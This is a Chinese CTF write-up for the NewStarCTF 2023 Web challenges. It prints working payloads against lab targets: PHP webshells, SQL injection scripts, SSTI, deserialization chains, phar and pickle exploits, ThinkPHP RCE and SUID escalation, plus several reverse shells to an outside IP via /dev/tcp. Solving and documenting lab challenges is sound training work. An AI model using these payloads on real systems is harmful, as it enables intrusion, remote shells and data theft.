NewStarCTF 2023 公开赛道 Web

NewStarCTF 2023 公开赛道 Web

WEEK1|WEB

泄漏的秘密

泄露的秘密,直接看常见的目录robots.txt,www.zip直接那道两段flag

也可以用dirsearch工具扫描,但是BUUOJ平台的网站只能开底线程,不然全是429

PART ONE: flag{r0bots_1s_s0_us3ful
$PART_TWO = "_4nd_www.zip_1s_s0_d4ng3rous}";

flag{r0bots_1s_s0_us3ful_4nd_www.zip_1s_s0_d4ng3rous}

Begin of Upload

上传一个a.png的文件,这个网站只有前端进行了验证,后端没有验证,直接改文件名绕过就行了

马的内容:

<?php eval($_GET['1']); ?>

http://fbefab32-f23f-4f53-821c-128740badc63.node4.buuoj.cn:81/upload/a.php?1=system(%27cat%20/fllll4g%27);

flag{633c24ea-5073-4a09-a505-286895382fa5}

Begin of HTTP

考的http协议相关请求头的知识

GET /?ctf=1
POST secret=n3wst4rCTF2023g00000d
User-Agent: NewStarCTF2023
Cookie: power=ctfer
X-Real-IP: 127.0.0.1

flag{a3ca8c6d-1854-45fb-9ea5-1da1e1fecdc2}

ErrorFlask

python的网站开启了debug模式,我们给number1,number2传入字符即可产生报错,直接找debug信息里面找flag

Begin of PHP

这个直接用数组全部绕过了

http://899e8510-bdc3-4be6-abac-16684c097bbc.node4.buuoj.cn:81/?key1[]=1&key2[]=2&key4[]=1&key5[]=132123

key3[]=1&flag5=+

这里有一个extract($_POST);函数,这个函数是进行变量覆盖的作用

extract函数:

https://crayon-xin.github.io/2018/05/21/extract%E5%8F%98%E9%87%8F%E8%A6%86%E7%9B%96/

flag{dcb78c60-38b4-4328-b191-f95faadac253}

WEEK2|WEB

R!C!E!

第一直接脚本爆破

找到数字为114514

import hashlib
target_string = 'c4d038'
def md5_last5(string):
    # 计算字符串的md5散列值
    md5_hash = hashlib.md5(string.encode()).hexdigest()
    # 截取前面6位字符
    last_5 = md5_hash[:6]  # md_hash[-6:]是后6位
    return last_5
# 114514
for j in range(1,9999999999):
    i = str(j)
    print(md5_last5(i))
    if(md5_last5(i)==target_string):
        print(i)
        break

直接亦或无参数绕过

password=114514&e[v.a.l=("%08%02%08%08%05%0d"^"%7b%7b%7b%7c%60%60")("%03%01%08%00%00%06%00"^"%60%60%7c%20%2f%60%2a");

PHP变量流量层面WAF绕过

PHP 7.3.4 在FPM模式下运行:

变量名和值会进行url解码:

以解析$_GET变量为例,大致流程为:获取请求字符串-->获取分割符&-->使用=分割key和value。
在解析key和value时,会分别对其进行url解码,关键代码如下:
if (val) { /* have a value */
            size_t val_len;
            size_t new_val_len;

            *val++ = '\0';
            // 对key进行url解码
            php_url_decode(var, strlen(var));
            // 对value进行url解码
            val_len = php_url_decode(val, strlen(val));
            val = estrndup(val, val_len);
            if (sapi_module.input_filter(arg, var, &val, val_len, &new_val_len)) {
                php_register_variable_safe(var, val, new_val_len, &array);
            }
            efree(val);
    }

变量名截断:

我们知道00在C语言中意味着字符串的结尾,其编码为%00。
在对key进行url解码之后,%00转换为00而截断了key字符串。
但是对value进行url解码的时候,获取了其返回值val_len,即字符串长度,后续注册变量时,也是使用val_len进行内存中的操作,所以未能截断value的值

变量名之前的空格会被忽略

URL 不能包含空格。URL 编码通常使用 + 来替换空格
使用%20替换空格
在注册变量时,PHP会对变量名进行判断,丢弃变量名前的空格,关键代码如下:
while (*var_name==' ') {
        var_name++;
    }

变量名的空格和.会转化为_:

首先明确一个问题,PHP的变量名中是不能包含点号的。 但是为了处理表单中的点号命名,PHP就会自动把点号.转换成下划线_。
这个转换的过程也是发生在PHP变量的注册过程中,关键代码如下:
/* ensure that we don't have spaces or dots in the variable name (not binary safe) */
    for (p = var; *p; p++) {
        if (*p == ' ' || *p == '.') {
            *p='_';
        } else if (*p == '[') {
            is_array = 1;
            ip = p;
            *p = 0;
            break;
        }
    }

变量名的[会转换为_:

这个转换过程与.的转换过程不同。PHP在遇到[符号时,会认为变量为数组。后续进行数组处理时,如果未能找到与[匹配的],则会将[替换为.。关键代码如下:
ip = strchr(ip, ']');
        if (!ip) {
            /* PHP variables cannot contain '[' in their names, so we replace the character with a '_' */
            *(index_s - 1) = '_';

            index_len = 0;
            if (index) {
                index_len = strlen(index);
            }
            goto plain_var;
            return;
        }

Z1d10t师傅浇我的:

https://www.z1d10t.fun/post/8bc42760.html?highlight=%E4%B8%8B%E5%88%92%E7%BA%BF

只有第一个字符为[时 后面的非法字符才不会被转为下划线

在这里还剽窃到一个新姿势:

读文件可以用more来绕过

还有一种通配符是[]可以匹配指定范围中的任意字符 那么 f和g就可以用[e-h]来绕过

a是字母表第一个,该怎么绕过呢,我们可以构造[非数字]形式:[^0-9] 这里尖括号就是排除匹配范围,这也就可以包含所有字母 来达到获取a的效果了

md5碰撞:

fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975%EA%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%DDa7%D0%40%C6i%97%10l%84%9D%BA%7FK%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhjj%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2AF%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0Cw%0E%A3%94%9B

fuck%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00O%EC%28%FE%D4%C2%22%FA%40Lx%CFC%3CqMx%975j%0F%B7Tq%28.%7F%26%D7%8A2%F8%EC%08%BC%E9%60j%0B%DA%CF%05%40q%C2%5Db7%D0%40%C6i%97%10l%84%9D%BA%7F%CB%7E%FEq%A6%3F%E4%5Dl%06%7F%7F%0A%05%F6%DB%EDQ%ED%28%3D%CEhj%EA%15%FC%A0X%C1%1B%F5%CC%CD0%5D%A2%F5P%17%03.%8Crb%93%83%C0%EF%C2%C1E%88%DC%97%A0%85%CF%DA%A2G%F6%D7%0C%F7%0E%A3%94%9B

flag{c8a0f34a-c88f-4879-ae81-64c8fcaece2a}

Unserialize?

这个简单的php,绕过正则就行,找不到wp了,这题绕过方法应该挺多的

EasyLogin

用弱口令直接爆密码为000000,然后抓重定向302的包就可以拿到flag了

flag{961a0630-c1b9-41b8-b330-248674981617}

游戏高手

游戏高手这题简单,直接查找源码,然后修改分数就行

ez_sql

这题一分钟sql注入直接跑

sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 --dbs

sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -T --clomns

sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -tables
 
sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -T here_is_flag --clomns
 
sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -T here_is_flag --columns
 
 
sqlmap -u http://87173586-d547-42ca-a61c-7aaa6c3d70a2.node4.buuoj.cn:81/?id=TMP11503 -D ctf -T here_is_flag -C "flag" --dump

Upload again!

这个是appache服务器,这题上传.htaccess配置文件就可以了,把站下面所有的文件解析为php

然后上传一个图片就ok了

GIF89a
<script language='php'>eval($_REQUEST[1]);</script>

WEEK3|WEB

Include 🍐

考点pearcmd

?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=@eval($_POST[1]);?>+/tmp/test.php

用BP打包,用BP发包,用BP发包!!

Hackbar和url都会自动的进行一次url编码

?file=/tmp/test

直接拿shell了

R!!!C!!!E!!!

此题利用\来转义绕过,然后通过管道符把读取的内容写在根目录下,然后我们直接访问写到根目录下的文件就行

<?php
highlight_file(__FILE__);

class Begin{
    public $name;

    public function __destruct()
    {
        if(preg_match("/[a-zA-Z0-9]/",$this->name)){
            echo "Hello";
        }else{
            echo "Welcome to NewStarCTF 2023!";
        }
    }
}

class Then{
    private $func;

    public function __toString()
    {
        ($this->func)();
        return "Good Job!";
    }

}

class Handle{
    protected $obj;

    public function __call($func, $vars)
    {
        $this->obj->end();
    }

}

class Super{
    protected $obj;
    public function __invoke()
    {
        $this->obj->getStr();
    }

    public function end()
    {
        die("==GAME OVER==");
    }
}

class CTF{
    public $handle;

    public function end()
    {
        unset($this->handle->log);
    }

}

class WhiteGod{
    public $func;
    public $var;

    public function __unset($var)
    {
        ($this->func)($this->var);    
    }
}

$a = new minipop;
$a->qwejaskdjnlka = new minipop;
$a->qwejaskdjnlka->code = "cat /flag_is_h3eeere|te\\e /var/www/html/2";
echo serialize($a);

POP Gadget

pop链子:

<?php
class Begin{
    public $name;
}
class Then{
    private $func;
    public function __construct(){
        $this->func = new Super();
    }
}
class Handle{
    protected $obj;
    public function __construct(){
        $this->obj = new CTF();
    }
}
class Super{
    protected $obj;
    public function __construct(){
        $this->obj = new Handle();
    }
}
class CTF{
    public $handle;
    public function __construct(){
        $this->handle = new WhiteGod();
    }


}
class WhiteGod{
    public $func = 'system';
    public $var = 'cat /flag';
}
$a = new Begin();
$a->name = new Then();
echo urlencode(serialize($a));

medium_sql

写的二分盲注脚本:

import requests
import time
url = 'http://3984f01f-9843-4df0-a21f-95a7eff68063.node4.buuoj.cn:81/'
result=''
for i in range(1,50):
    low=31
    high=127
    mid = (low+high)//2
    while low<=high:
        paylaod = "TMP0929'And/**/0^(Ascii(Substr((Select(flag)from(ctf.here_is_flag)),{},1))>{})%23".format(i,mid)
        #爆库爆数据语句差不多 关键字被ban大写绕过就行
        r = requests.get(url+"?id="+paylaod)
        if ("English" in r.text):
            low = mid+1
            mid = (low+high)//2
        else:
            high = mid-1
            mid = (low+high)//2
    result+=chr(high+1)
    time.sleep(0.3)
    print(result)

GenShin

不太会ssti,喜欢当脚本小子

docker run --net host -it marven11/fenjing webui 

在这里插入图片描述

payload:

{'name': '{%print(((g.pop.__globals__.__builtins__.__import__("os")["p""open"]("cat /flag")).read()))%}'},表单为{'action': '/secr3tofpop', 'method': 'GET', 'inputs': {'name'}}

OtenkiGirl

这题看到有一个原型链污染的路由/submit

看到这里有个提示

Remove test data from before the movie was released
删除测试之前的数据

所以我们的flag可能就在我们之前的时间里面,所以我们构造payload污染时间即可

这题关键信息在这,我们可以看到,查询语句这里最后where主要的判断是 timestamp>=所以,我们只需要改变timestamp的值即可,看上下文,如果我们想要改变这个值的话,我们需要污染min_public_time时间尽量小

async function getInfo(timestamp) {
    timestamp = typeof timestamp === "number" ? timestamp : Date.now();
    // Remove test data from before the movie was released
    let minTimestamp = new Date(CONFIG.min_public_time || DEFAULT_CONFIG.min_public_time).getTime();
    timestamp = Math.max(timestamp, minTimestamp);
    const data = await sql.all(`SELECT wishid, date, place, contact, reason, timestamp FROM wishes WHERE timestamp >= ?`, [timestamp]).catch(e => { throw e });
    return data;
}

然后我们直接上payload打就行

{
   "date":"1",
   "place":"1",
   "contact":"1",
    "reason":"1",
    "timestamp":1698317269591,
	"__proto__":{
    "min_public_time":"2019-07-09"}
}

在这里插入图片描述

这题主要需要仔细,需要你明白整个程序的逻辑,明白出题人想让你污染什么,

Week4|WEB

考点:

php反序列化字符串逃逸

经典反序列化逃逸

/?key=badbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbadbad";s:3:"cmd";s:7:"cat /f*";}

直接打就行

More Fast

考点:

1.GC回收机制

考了一个GUCI回收机制,直接秒了

 <?php
highlight_file(__FILE__);

class Start{
    public $errMsg;
    public function __destruct() {
        die($this->errMsg);
    }
}

class Pwn{
    public $obj;
    public function __invoke(){
        $this->obj->evil();
    }
    public function evil() {
        phpinfo();  //
    }
}

class Reverse{
    public $func;
    public function __get($var) {
        ($this->func)();  //
    }
}

class Web{
    public $func;
    public $var;
    public function evil() {
        if(!preg_match("/flag/i",$this->var)){
            ($this->func)($this->var);  //
        }else{
            echo "Not Flag";
        }
    }
}

class Crypto{
    public $obj;
    public function __toString() {
        $wel = $this->obj->good;  //
        return "NewStar";
    }
}

class Misc{
    public function evil() {
        echo "good job but nothing";
    }
}

//$c = @unserialize($_POST['fast']);
//throw new Exception("Nope");
$a = new Start;
$a->errMsg = new Crypto;
$a->errMsg->obj = new Reverse;
$a->errMsg->obj->func = new Pwn;
$a->errMsg->obj->func->obj = new Web;
$a->errMsg->obj->func->obj->func = system;
$a->errMsg->obj->func->obj->var = "cat /f*";
$b = array($a,NULL);
echo serialize($b);

PharOne

这题是phar反序列化

fopen() unlink() stat() fstat() fseek() rename() opendir() rmdir() mkdir() file_put_contents() file_get_contents() 
file_exists() fileinode() include() require() include_once require_once() filemtime() fileowner() fileperms() 
filesize() is_dir() scandir() rmdir() highlight_file()
//外加一个类
new DirectoryIteartor()

这些函数都能触发phar反序列化

源码分析发现有个unlink函数

 <?php
highlight_file(__FILE__);
class Flag{
    public $cmd;
    public function __destruct()
    {
        @exec($this->cmd);
    }
}
@unlink($_POST['file']); 

写脚本生成phar包

<?php
class Flag{
    public $cmd;
}
$a =new Flag();
$a->cmd = "bash -c 'sh -i &>/dev/tcp/36.139.110.159/7777 0>&1'";
$phar = new Phar('1.phar');  # 生成的phar
$phar->stopBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); # 
$phar-> setMetadata($a);  # 写入反序列化的内容
$phar -> addFromString('1.txt','1'); # 添加压缩的内容
$phar->stopBuffering();  # 计算标签
?>

然后发现过滤了__HALT_COMPILER

用gzip命令绕过过滤就行

gzip 1.phar

然后还对文件头进行了限定文件后缀,改文件后缀即可

file=phar://upload/26a529ffa3ed210b7fa7c584a7ee4c33.png/1.phar

反弹shell成功,结束

flask disk

考点:

1.文件上传导致覆盖getshell

直接上传一个app.py文件,直接弹shell

因为上传app.py会覆盖之前的文件,所以我们就可以getshell了

后面预期解法看到了file.save会覆盖已存在的文件

import os

os.system("bash -c \"bash -i >& /dev/tcp/36.139.110.159/7777 0>&1\"")
from flask import Flask,request,send_file
import os,datetime
app = Flask(__name__)

@app.route('/',methods=['GET'])
def index():
    return '<h1>Welcome to my flask disk</h1><a href="/list">list files</a><br><a href="/upload">upload files</a><br><a href="/console">admin manage</a>'

@app.route('/list',methods=['GET'])
def list():
    dirs = os.listdir('.')
    items = ''
    for dir in dirs:
        if os.path.isfile(dir):
            create_time = int(os.path.getctime(dir))
            create_time = datetime.datetime.fromtimestamp(create_time)
            item =f'</pre>{dir}  {str(os.path.getsize(dir))}b  {create_time}</pre><br><br>'
            items += item
            items += '\n'
    return items

@app.route('/upload',methods=['GET','POST'])
def upload():
    if request.method == 'GET':
        s='<form action="/upload" method="POST" enctype="multipart/form-data"><input type="file" name="file"><input type="submit" value="Upload"></form>'
        return s
    elif request.method == 'POST':
        file = request.files['file']
        if '..' in file.filename or '/' in file.filename:
            return '.. and / are not allowed!'
        
        file.save(file.filename)
        return 'upload success. <a href="/list">check</a>'
    
@app.route('/download',methods=['GET','POST'])
def download():
    filename = request.args.get('filename')
    if filename and os.path.exists(filename):
        if '..' in filename or '/' in filename:
            return '.. and / are not allowed!'
        return send_file(filename,as_attachment=True)
    else:
        return 'no file to download or file not exist'

if __name__=='__main__':
    app.run(host='0.0.0.0',debug=True,port=5000)

下载出来的源码

midsql

这题延时严重

import requests
# from tqdm import trange
res = ''
last = ' '
headers = {
    'Host': '1ae3a3ec-d220-4c01-87b7-6987c878cd74.node4.buuoj.cn:81',
    'Cache-Control': 'max-age=0',
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'Referer': 'http://1ae3a3ec-d220-4c01-87b7-6987c878cd74.node4.buuoj.cn:81',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9'
}
for i in range(1, 1000):
    for j in range(127, 31, -1):
        url = r'http://1ae3a3ec-d220-4c01-87b7-6987c878cd74.node4.buuoj.cn:81/?id='
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(schema_name)/**/from/**/information_schema.schemata),{i},1))>{j}),sleep(3),0)' # information_schema,mysql,performance_schema,sys,test,ctf
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/database()),{i},1))>{j}),sleep(3),0)'
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/"ctf"),{i},1))>{j}),sleep(3),0)'
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name/**/like/**/"items"),{i},1))>{j}),sleep(3),0)' # id,name,price
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
        # payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(id,0x3a,name,0x3a,price)/**/from/**/ctf.items),{i},1))>{j}),sleep(3),0)'
        payload = rf'1/**/and/**/if((ascii(substr((select/**/group_concat(name)/**/from/**/ctf.items),{i},1))>{j}),sleep(4),0)'
        url = url + payload
        # print(url)
        try:
            response = requests.get(url=url, timeout=4)
        except Exception as e:
            last = res
            # print(chr(j+1))
            res += chr(j+1)
            # print(res)
            break
    print('[*] ' + res)

Week5|WEB

Unserialize Again

非预期解法:

这题应该是被非预期了,直接根目录下写🐎就行了

/pairing.php?pear=/var/www/html/a.php&apple=
    
    
<?php eval($_POST[1]); ?>

猜测预期解是打phar吧

预期解法:


pppython?

考点:

1.计算pin🐎

2.ssrf

3.利用pin🐎算cookie

第一步发现有个ssrf接口,先绕过前面几步

这题用到一个技巧是手算cookie

计算pin🐎还是哪些老步骤了

我这里用的是工具来计算的cookie

在这里插入图片描述

在这里插入图片描述

得用gopher协议来打,实现rce,脚本:

import urllib.parse
import urllib.request

cmd = 'whoami'
s = "KsDz7oqmCrFx5nOp8vKz"
host = "127.0.0.1:1314"
# cookie = "__wzddde03e10368497982792=1698651626|c9f35062072d"
pin = "113-575-700"
poc = f"""GET http://127.0.0.1:1314/console?&__debugger__=yes&pin={pin}&cmd={cmd}&frm=0&s={s} HTTP/1.1
Host: {host}
Connection: close
"""

new_poc = urllib.parse.quote(poc).replace('%0A', '%0D%0A')
res = f'gopher://{host}/_' + new_poc
print(urllib.parse.quote(res))

最终的payload:

/?url=gopher%3A//127.0.0.1%3A1314/_GET%2520/console%253F%2526__debugger__%253Dyes%2526cmd%253D__import__%2528%252522os%252522%2529.popen%2528%252522bash%252520-c%252520%25255C%252522bash%252520-i%252520%25253E%252526%252520%25252Fdev%25252Ftcp%25252F36.139.110.159%25252F7777%252520%25253C%2525261%25255C%252522%252522%2529%2526frm%253D0%2526s%253DZinxRVqfynmCiJZQaF9j%2520HTTP/1.1%250D%250AHost%253A%2520127.0.0.1%253A1314%250D%250AConnection%253A%2520close%250D%250ACookie%253A%2520__wzd734478c6106a1a37ad92%253D1698655413%257Caa64bc59c8d3%250D%250A&lolita[]=1

Ye’s Pickle

这题看了看源码,随机数比较大不能爆破,开了debug报错源码中看到了secret不知道有什么用

参考链接:

https://github.com/davedoesdev/python-jwt/blob/master/test/vulnerability_vows.py

https://blog.csdn.net/your_friends/article/details/127832505 (webfun CVE-2022-39227)

考点:

1.pickle反序列化

2.CVE-2022-39227

from datetime import timedelta
from json import loads, dumps
# from common import generated_keys
import python_jwt as jwt
from pyvows import Vows, expect
from jwcrypto.common import base64url_decode, base64url_encode

def topic(topic):
    """ Use mix of JSON and compact format to insert forged claims including long expiration """
    [header, payload, signature] = topic.split('.')
    parsed_payload = loads(base64url_decode(payload))
    print(parsed_payload)
    parsed_payload['role'] = "admin"
    print(parsed_payload)
    fake_payload = base64url_encode(
        (dumps(parsed_payload, separators=(',', ':'))))
    print (header+ '.' +fake_payload+ '.' +signature)
    # print (header+ '.' + payload+ '.' +signature)
    a = header+ '.' +fake_payload+ '.' +signature

    # print(q)
    return '{"  ' + header + '.' + fake_payload + '.":"","protected":"' + header + '", "payload":"' + payload + '","signature":"' + signature + '"}'

originaltoken = '''eyJhbGciOiJQUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE2OTg3NjQ0NzYsImlhdCI6MTY5ODc2MDg3NiwianRpIjoiWUN1WXdmLWFFSFVhNmNRWnlkclRFdyIsIm5iZiI6MTY5ODc2MDg3Niwicm9sZSI6Imd1ZXN0IiwidXNlcm5hbWUiOiJib29naXBvcCJ9.aYoTc0VuYSWMrV3qYyVY0rIODjBUTGwcNxun4s6Hx5lbhl0IqrT7LJm9ORJe6bDLO9rdtu2W6yBMVTay9LOM6BojGekMAL4CNZrGYKpg0twIYz9ptCp83y-1lfh6Dwoa_JY27jEQUlSNWBsJqJ-0USKhJ4OCReR1OtPwxFPAZRAuzBFzRh93pr9ePt663upc38rorgx6njKcEwzQmBoHICEak3wOJNSBykEsKAQ6-cf44y_9GsKPTBe4PzQR2ba6Q6HiKjRwHMP3q-mrxBIttQqPqhtiKOxzZgzt3BBFCDrrS5neRseQC_b5Og6s2e2hWNnCI0C-BvE0j5Djjd1Cnw'''
topic = topic(originaltoken)
print(topic)

伪造jwt成功,用这个session直接打pickle反序列化,后面的反序列化就简单了

在这里插入图片描述

/?token=KGNvcwpzeXN0ZW0KUydiYXNoIC1jICdzaCAtaSAmPi9kZXYvdGNwLzM2LjEzOS4xMTAuMTU5Lzc3NzcgMD4mMScnCm8u

直接服务器上拿flag就结束了

Final

Thinkphp 5.0.23框架的一个远程rce漏洞

/index.php?s=captcha&test=-1

_method=__construct&filter[]=phpinfo&method=get&server[REQUEST_METHOD]=1

出现配置文件,存在远程rce漏洞,disable_function只禁用了system函数

1/index.php?s=captcha

_method=__construct&filter[]=exec&method=get&server[REQUEST_METHOD]=echo -n YWE8P3BocCBAZXZhbCgkX1JFUVVFU1RbJ2F0dGFjayddKTsgPz5iYg== | base64 -d > index.php

改一改payload写一句话木马上传,发现没有权限可以读flag。

我们就在上传一个反弹shell的文件上去,访问它就可以反弹shell了

bash -c 'sh -i &>/dev/tcp/36.xxx.xxx.159/7777 0>&1'

反弹shell成功,然后发现没有权限读文件

find / -user root -perm -4000 -print 2>/dev/null
/bin/cp
/bin/mount
/bin/su
/bin/umount
## 来到根目录下
cp ./flag_dd3f6380aa0d /etc/passwd
cat /etc/passwd
flag{abc80326-d717-4013-b22c-1d705360a6b3}

在这里插入图片描述

NextDrive

逻辑漏洞

看hint了解秒传的原理:

在这里插入图片描述
发现test.res.http文件里面有返回包,没有响应包(而且有个标签好像是Yours,太懒了不重新打开看了),于是我们想办法用秒传原理链接到test.res.http文件,然后利用秒传的逻辑漏洞,上传一个任意文件改掉hash值和test.res.http相同即可,发现里面有token和uid进行身份伪造

看share.js文件

const Router = require("koa-router");
const router = new Router();
const CONFIG = require("../../runtime.config.json");
const Res = require("../../components/utils/response");
const FileSignUtil = require("../../components/utils/file-signature");
const { DriveUtil } = require("../../components/utils/database.utilities");
const fs = require("fs");
const path = require("path");
const { verifySession } = require("../../components/utils/session");
const logger = global.logger;

/**
 * @deprecated
 * ! FIXME: 发现漏洞,请进行修改
 */
router.get("/s/:hashfn", async (ctx, next) => {
    const hash_fn = String(ctx.params.hashfn || '')
    const hash = hash_fn.slice(0, 64)
    const from_uid = ctx.query.from_uid
    const custom_fn = ctx.query.fn

    // 参数校验
    if (typeof hash_fn !== "string" || typeof from_uid !== "string") {
        // invalid params or query
        ctx.set("X-Error-Reason", "Invalid Params");
        ctx.status = 400; // Bad Request
        return ctx.res.end();
    }

    // 是否为共享的文件
    let IS_FILE_EXIST = await DriveUtil.isShareFileExist(hash, from_uid)
    if (!IS_FILE_EXIST) {
        ctx.set("X-Error-Reason", "File Not Found");
        ctx.status = 404; // Not Found
        return ctx.res.end();
    }

    // 系统中是否存储有该文件
    let IS_FILE_EXIST_IN_STORAGE
    try {
        IS_FILE_EXIST_IN_STORAGE = fs.existsSync(path.resolve(CONFIG.storage_path, hash_fn))
    } catch (e) {
        ctx.set("X-Error-Reason", "Internal Server Error");
        ctx.status = 500; // Internal Server Error
        return ctx.res.end();
    }
    if (!IS_FILE_EXIST_IN_STORAGE) {
        logger.error(`File ${hash_fn.yellow} not found in storage, but exist in database!`)
        ctx.set("X-Error-Reason", "Internal Server Error");
        ctx.status = 500; // Internal Server Error
        return ctx.res.end();
    }

    // 文件名处理
    let filename = typeof custom_fn === "string" ? custom_fn : (await DriveUtil.getFilename(from_uid, hash));
    filename = filename.replace(/[\\\/\:\*\"\'\<\>\|\?\x00-\x1F\x7F]/gi, "_")

    // 发送
    ctx.set("Content-Disposition", `attachment; filename*=UTF-8''${encodeURIComponent(filename)}`);
    // ctx.body = fs.createReadStream(path.resolve(CONFIG.storage_path, hash_fn))
    await ctx.sendFile(path.resolve(CONFIG.storage_path, hash_fn)).catch(e => {
        logger.error(`Error while sending file ${hash_fn.yellow}`)
        logger.error(e)
        ctx.status = 500; // Internal Server Error
        return ctx.res.end();
    })
})

module.exports = router;

看来share.js文件,只需绕过前面的几个判断就行,然后目录穿越,再控制fn=/proc/self/environ就行

最终payload:

/s/98d69972f5fa8ac77185170ec3128ea18fbd5be187e88596bbd321fbd65b79f0/../../../../../proc/self/environ?from_uid=100000&fn=/proc/self/environ 

4-复盘

为了做这题我首先去做了

MISC:

week2-1-序章

手撸flag(ex

you_w4nt_s3cretflag{just_w4rm_up_s0_you_n3ed_h4rder_6026cd32}

在这里插入图片描述

然后我以为可能和sql注入相关,然后写了一共烂的脚本,发现注入不出来,我测试了sql语句发现不行,看了源码中的sql.ini(疑惑

在这里插入图片描述

这个flag应该不对,重新看index.php,发现有个文件包含函数可以用,直接打pearcmd写shell到根目录下

/index.php?+config-create+/&page=/../../../../../usr/local/lib/php/pearcmd&/<?=@eval($_GET[1])?>+/var/www/html/a.php

读flag发现不行,没有权限,弹shell进行suid提权

find / -user root -perm -4000 -print 2>/dev/nul
## 没找到有suid权限的命令,然后到/bin目录下一个个看,发现有gzip
-rwsr-xr-x 1 root root     59976 Jun 17  2021 passwd
-rwsr-xr-x 1 root root     55680 Oct 27  2021 su
-rwsr-xr-x 1 root root     93424 Oct  7  2021 gzip可以用,回到根目录
gzip -g flag -t

本题就结束了

在这里插入图片描述

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 14
    评论
mathorcup是一个面向大数据领域的竞赛平台,每年都会举办一系列赛来挑战参赛选手的数据分析和解决问题能力。2023年的mathorcup大数据竞赛赛A是一项非常有挑战性和有趣的赛,以下将从赛主题、要求和参赛收益等方面对其进行回答。 赛主题:2023年mathorcup大数据竞赛赛A主题未公布,但一般围绕大数据分析、人工智能和机器学习等领域展开,可能涉及到各种行业的数据集,包括金融、医疗、交通等。 赛要求:参赛选手需要通过该赛提供的数据集进行深入分析和解决问题。具体要求可能是对给定数据进行清洗、预处理和特征工程,利用机器学习算法进行模型训练和预测,最终给出对于所研究问题的答案或解决方案。 参赛收益:参与mathorcup大数据竞赛赛A,选手能够获得以下收益: 1.挑战自我:参赛选手可以通过该赛锻炼和提升自己在大数据分析和解决问题方面的能力,发挥自己的聪明才智和创造力。 2.学习交流:参赛选手可以学习到其他优秀选手的方法和思路,与同行交流经验,从而不断完善自己的技能和知识体系。 3.荣誉与认可:在mathorcup大数据竞赛中表现优异的选手将获得相关荣誉和认可,这对于个人职业发展和学术研究都具有积极的影响。 4.机会与资源:mathorcup大数据竞赛吸引了众多顶尖企业和研究机构的关注,优秀的选手有机会与他们接触和合作,获取更多的就业或项目合作机会。 总而言之,2023年mathorcup大数据竞赛赛A将为参赛选手提供一个锻炼和展示自己能力的机会,通过深入分析和解决实际问题,获得学习、交流、荣誉和机会等多方面的收益。对于热爱大数据领域的人士来说,这是一场精彩而有价值的竞赛。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 14
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值